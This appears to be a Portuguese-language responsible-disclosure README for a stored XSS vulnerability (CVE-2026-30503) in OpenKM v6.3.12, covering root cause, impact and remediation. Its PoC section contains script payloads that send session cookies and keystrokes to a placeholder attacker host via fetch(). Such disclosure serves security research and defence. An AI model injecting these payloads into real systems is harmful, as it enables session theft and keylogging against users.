
Divulgação detalhada do CVE-2026-30503, uma vulnerabilidade XSS armazenada no OpenKM v6.3.12. Inclui análise da causa raiz, payloads de PoC, avaliação de impacto e recomendações de remediação para pesquisadores de segurança e pentesters.
Descoberto e Reportado por Dharmendra Kumar — Pesquisador de Segurança
Cibersegurança | Testes de Penetração | Pesquisa de Vulnerabilidades | Divulgação Responsável
Este repositório documenta a divulgação responsável da CVE-2026-30503, uma vulnerabilidade de Cross-Site Scripting Armazenado (Stored XSS) identificada no OpenKM v6.3.12 — um sistema de gerenciamento de documentos de código aberto amplamente utilizado em ambientes corporativos.
A vulnerabilidade permite que um atacante autenticado injete JavaScript malicioso persistente na aplicação, que é executado no contexto do navegador de qualquer usuário (incluindo administradores) que posteriormente visualize o conteúdo afetado.
⚠️ Gravidade: Alta | Vetor de Ataque: Rede | Privilégios Necessários: Baixos | Interação do Usuário: Necessária
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2026-30503 |
| Produto | OpenKM |
| Versão Afetada | v6.3.12 |
| Classe da Vulnerabilidade | Cross-Site Scripting Armazenado (XSS) |
| CWE | CWE-79: Neutralização Incorreta da Entrada Durante a Geração da Página Web |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| Pesquisador | Dharmendra Kumar |
| Tipo de Divulgação | Responsável / Coordenada |
OpenKM é um sistema de gerenciamento de documentos (DMS) gratuito e de código aberto que fornece uma interface web para gerenciar, auditar e distribuir documentos empresariais. É utilizado por empresas, órgãos governamentais e instituições educacionais globalmente.
v6.3.12Múltiplas vulnerabilidades de Cross-Site Scripting Armazenado (XSS) foram descobertas no OpenKM v6.3.12. Um atacante com acesso autenticado de baixo privilégio pode injetar payloads JavaScript arbitrários em um ou mais campos de entrada. Esses payloads são armazenados permanentemente no backend da aplicação e executados automaticamente sempre que qualquer usuário — incluindo administradores — acessar a página ou componente afetado.
Ao contrário do XSS Refletido, que exige que a vítima clique em um link manipulado, os payloads de XSS Armazenado são embutidos na própria aplicação, tornando-os significativamente mais perigosos e persistentes.
A vulnerabilidade decorre de três fraquezas combinadas no pipeline de tratamento de entrada da aplicação:
Entrada do Usuário ──► [NENHUMA Validação] ──► Armazenada no BD ──► [NENHUMA Codificação de Saída] ──► Renderizada no Navegador ──► XSS Executado
| Fraqueza | Descrição |
|---|---|
| ❌ Validação de Entrada Ausente | A aplicação não restringe ou sanitiza caracteres especiais (<, >, ", ', ;) em campos fornecidos pelo usuário |
| ❌ Codificação de Saída Ausente | Os valores armazenados são renderizados diretamente em HTML sem codificação de entidades HTML |
| ❌ Renderização DOM Insegura | Dados fornecidos pelo usuário são incorporados no contexto DOM sem CSP ou controles de sanitização |
Uma exploração bem-sucedida desta vulnerabilidade pode levar a:
| Risco | Descrição |
|---|---|
| 🍪 Sequestro de Sessão | Roubar tokens de sessão autenticados via exfiltração de document.cookie |
| 👤 Tomada de Conta | Comprometer contas de vítimas, incluindo contas de administrador |
| 🔐 Coleta de Credenciais | Injetar formulários de phishing para capturar credenciais de login |
| 📤 Exfiltração de Dados | Extrair silenciosamente documentos ou metadados sensíveis do DMS |
| ⚙️ Ações Não Autorizadas | Realizar operações privilegiadas em nome da vítima (excluir/modificar documentos) |
| 🎯 Alvo em Administradores | O payload é executado no painel de administração quando um administrador revisa o conteúdo |
| 🔄 Propagação de Worm | O payload XSS autorreplicante pode se espalhar entre usuários |
⚠️ Aviso: Esta PoC é compartilhada estritamente para fins educacionais e de pesquisa em segurança, sob os princípios de divulgação responsável. Não utilize isso contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito para testar.
// PoC básica — demonstra execução de script
<script>alert('CVE-2026-30503 - XSS by Dharmendra Kumar')</script>
// Exfiltração de token de sessão
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
// Injeção de keylogger
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
<script>alert(document.cookie)</script>| Recomendação | Implementação |
|---|---|
| ✅ Validação de Entrada | Lista branca de caracteres permitidos; rejeitar ou remover caracteres especiais HTML em todas as entradas do usuário |
| ✅ Codificação de Saída | Usar codificação HTML sensível ao contexto (ex.: OWASP Java Encoder) antes de renderizar dados em HTML |
| ✅ Política de Segurança de Conteúdo (CSP) | Implementar um cabeçalho CSP restrito: Content-Security-Policy: script-src 'self' |
| ✅ Cookies HTTPOnly e Seguros | Definir flags HttpOnly e Secure em todos os cookies de sessão para evitar acesso via JavaScript |
| ✅ Usar Bibliotecas de Segurança | Integrar OWASP AntiSamy ou DOMPurify para sanitização HTML |
| ✅ Revisão de Segurança de Código | Auditar todos os caminhos de renderização em busca de dados controlados pelo usuário não sanitizados |
| ✅ Atualização | Aplicar o patch mais recente fornecido pelo fornecedor ou atualizar para uma versão corrigida |